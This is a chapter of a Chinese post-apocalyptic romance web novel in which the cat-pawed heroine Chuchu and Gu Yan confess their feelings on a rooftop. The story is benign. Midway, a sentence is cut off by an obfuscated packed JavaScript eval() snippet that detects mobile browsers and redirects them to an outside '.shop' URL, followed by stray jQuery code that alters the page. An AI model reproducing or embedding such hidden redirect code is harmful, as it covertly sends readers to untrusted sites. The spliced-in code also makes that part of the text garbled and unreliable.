情报战如火如荼的时候,顾衍做了一件让楚楚措手不及的事。楚楚以为自己已经算到了所有——韩晟会低头,铁手会吃醋,苏锦年会画笑脸,慕容晴会来平安堡喝茶。她算到了每一个势力的动向,每一个人的心思,每一步棋的走向。但她没有算到顾衍。
顾衍是她的情报网里唯一的盲点。不是他的信息太少,是他的信息太多了,多到她不知道该信哪个。他的心跳会听到她的名字时快一拍,但他从来不说。他的目光会落在她的猫爪上,但他从来不碰。他的刀会挡在她面前,但他从来不说“我保护你”。他做了一切,却什么也不说。楚楚以为他永远不会说。
情报战最激烈的那几天,楚楚每天要见三四个客户,听七八个小时的秘密,记十几页的笔记。她的脑子像一台过载的机器,嗡嗡作响。她的猫爪在掌心疯狂按压,不是“紧张”的按,是“信息太多、处理不过来”的按。她从天台上下来,夕阳在她身后沉下去,把她的影子拉得很长很长。她手里拿着半杯水——水是顾衍给她的,温的,不烫不凉。她不知道他什么时候放的,但她走到天台门口的时候,水杯就在那里,杯壁上凝着细小的水珠,像一个人在出汗。她喝了一口,然后顾衍从楼梯拐角走了出来。
他穿着黑色冲锋衣,求生刀别在腰间,手里什么也没拿。他的表情很平静,琥珀色的眼睛里没有任何波澜,好像在说“今天天气不错”。但楚楚注意到他的手指在微微蜷缩,不是“紧张”的蜷缩,是“我在克制自己”的蜷缩。
“楚楚。”
“嗯。”楚楚接过水——不,她已经接过水了。她喝了一口,水温刚好,不烫不凉。她靠在栏杆上,看着远处灰蒙蒙的天空。城北的方向什么都看不到,但苏锦年在那个方向,在图书馆里,在织他的网。她在等他的下一步棋。
“我喜欢你。”
楚楚呛了一下。不是呛水,是呛“我喜欢你”这三个字。她的喉咙像被什么东西堵住了,水从嘴角漏出来,顺着下巴往下淌。她咳了两声,咳得眼泪都出来了。她抬起头看着顾衍。他的表情依然平静,琥珀色的眼睛里依然没有任何波澜。但楚楚注意到他的耳尖红了,不是“害羞”的红,是“我说了”的红。
“你——你说什么?”楚楚的声音有点抖,不是“害怕”的抖,是“我没听错吧”的抖。
“我喜欢你。”他又说了一遍。这次他的声音比第一次大了一点,像是怕她再呛一次。“不是战友的喜欢,不是朋友的喜欢,是那种——想和你一起活下去的喜欢。”
楚楚的猫爪疯狂按压她的掌心。不是“紧张”的按,是“我的心脏快要跳出来了”的按。
“你……你什么时候……”楚楚的声音含混不清,因为她的舌头不听话了。
“从你在地下室吃压缩饼干吃到干呕的那天。”顾衍的声音没有起伏,但他的耳尖更红了。
楚楚愣住了。那是末世第十天,她的味觉刚变异的时候。她吃了一块压缩饼干,恶心到趴在桌上干呕。所有人都以为她是吃坏了肚子,只有顾衍递了一瓶水过来。不是“一瓶水”,是“一杯水”。温的,不烫不凉。他用身体语言告诉她:你需要水,我这里有。
“你那天给我递水,是因为你喜欢我?”楚楚的猫爪按了一下。
“不是。那天我只是觉得你需要水。”顾衍的目光从她的眼睛移到她的猫爪,又从她的猫爪移回她的眼睛。“那时候我还不确定。”
“那什么时候开始的?”楚楚的声音低了下来,不是“质问”的低,是“我想知道”的低。
顾衍想了想。“你从巨力领主手里救下我的那天。”
楚楚的猫爪停了一下。那天她用了完全拟态·战斗形态,一刀斩杀了巨力领主,浑身是伤地落在他面前,浑身是血、遍体鳞伤,但她的眼睛是亮的。她笑着说“我说过,我是你们的底牌”,他当时说“帅死了”。楚楚以为他只是夸她的战斗形态,现在才知道他在说——你这个人,很帅。
“那时候?你那时候还有心思想这个?”楚楚的声音拔高了半个调。
“人在生死关头,反而更清楚自己在意什么。”顾衍的声音依然平静,但他的手指在微微发抖。那是楚楚第一次看到他的手在抖。
楚楚低下头,看着手里的水杯。水已经喝完了,杯壁上还有水珠,杯底有一小片茶叶。她不知道茶叶是什么时候掉进去的,但它在杯底静静地躺着,像一个人在睡觉。
“顾衍。”
“嗯。”
“现在是末世。”
“我知道。”
“末世里谈恋爱很危险。说不定明天我就死了,你就死了——”
“所以更要趁活着的时候说。”顾衍打断她。他的声音不大,但很坚定。“如果明天就是世界末日,你最后悔的事是什么?”
楚楚沉默了。如果明天就是世界末日,她最后悔的事是什么?前世,她最后悔的事是没有好好活过。她把自己关在地下室里,不敢出门,不敢说话,不敢相信任何人。她活得像一只老鼠,躲在黑暗中,等着末日过去。末日没有过去,她死了。死的时候,她后悔的不是没有报仇,是没有好好活过。
这辈子,她不想再后悔了。她抬起头,看着顾衍。琥珀色的眼睛,温柔的目光,嘴角微微上扬的弧度。那是一个“我知道你会答应”的微笑。
“我也喜欢你。”楚楚的声音很轻,但很清楚。
顾衍笑了。那个笑容比月光更温柔,比夕阳更温暖。他的嘴角弯了起来,眼睛眯了起来,整张脸像一幅被阳光照亮的画。楚楚从来没有见过他笑成这样——不是“嘴角微弯”的笑,不是“忍笑失败”的笑,是“我等了很久,终于等到了”的笑。
“那我们就在一起了?”顾衍的声音有点抖。
“嗯。”
“能牵手吗?”顾衍伸出手。
楚楚伸出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621483|206187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
右手。猫爪从袖子里伸出来,肉垫朝上,指甲缩着。它按了按,像是在说“你好”。
顾衍握住了那只猫爪。他的手指很长,骨节分明,掌心有茧——不是刀磨出来的,是练刀练出来的。他把猫爪包在自己的掌心里,拇指在肉垫上轻轻摩挲。肉垫软软的,暖暖的,像一块刚出炉的年糕。
“你的手好软。”顾衍的声音很低。
“那是肉垫。”楚楚的猫爪按了一下。
“我知道。很可爱。”顾衍的拇指又摩挲了一下。
“你能不能别说了。”楚楚的耳尖红了。
“不能。我憋了两个月了。”顾衍的声音里带着笑。
楚楚用猫爪拍了他一下。肉垫打在他胸口,发出“啪叽”一声,像一个在说“讨厌”的巴掌。顾衍握住那只猫爪,没有松开。他的手指扣进她的指缝里,猫爪的肉垫被压在掌心里,软软的,暖暖的,像两颗心脏贴在一起。
远处,平安堡的灯火一盏一盏亮起来。手电筒的白光,应急灯的暖黄,余舟异能荧光的淡蓝。几十盏灯,在黑暗中亮着。有人在喊“开饭了开饭了”,是赵德厚的声音,锅铲敲着铁锅,叮叮当当的。有人在回应“今天吃什么”,是林笙的声音,她从食堂窗口探出头,喊了一声“红烧肉”。有人在笑,是赵小苗的声音,他在走廊里跑,喊着“姐姐姐姐你看我的弹弓”。
楚楚靠在顾衍肩上,猫爪按了按他的掌心。
“顾衍。”
“嗯。”
“如果你以后不喜欢我了,要跟我说。不要骗我。”楚楚的声音很轻。
顾衍低下头,在她额头上轻轻亲了一下。不是“吻”的那种亲,是“额头贴了一下嘴唇”的那种亲。他的嘴唇是凉的,但她的额头是暖的。两种温度碰在一起,像一个人在冬天喝了一口温水。
“不会的。”他的声音很低。
“你发誓。”楚楚的猫爪按了一下。
“我发誓。”顾衍的声音很轻。
猫爪又按了一下,像是在盖章。像是把“我发誓”三个字刻在了掌心里,永远不会消失。
楚楚闭上眼睛。平安堡的灯火在她眼皮上投下一片温暖的橘色。顾衍的心跳声从她的肩膀传过来,咚、咚、咚、咚,很慢,很稳,像一个在打鼓的人。她的猫爪按在他的手心里,一下,两下,三下,和他的心跳同一个频率。
远处有人在唱歌。不是“唱”的那种唱,是“哼”的那种哼。没有歌词,没有旋律,只是一个声音在空气中震动。像是风吹过树叶,像是水淌过石头,像是一个人在对自己说“今天也要活下去”。
楚楚的猫爪又按了一下。明天又是新的一天。但今天,今天有人在额头留下了一个吻。她闭上眼睛。顾衍的手指还扣在她的指缝里,没有松开。猫爪的肉垫贴着他的掌心,软软的,暖暖的。
今夜无月。但平安堡的灯还亮着。几十盏灯,在黑暗中亮着。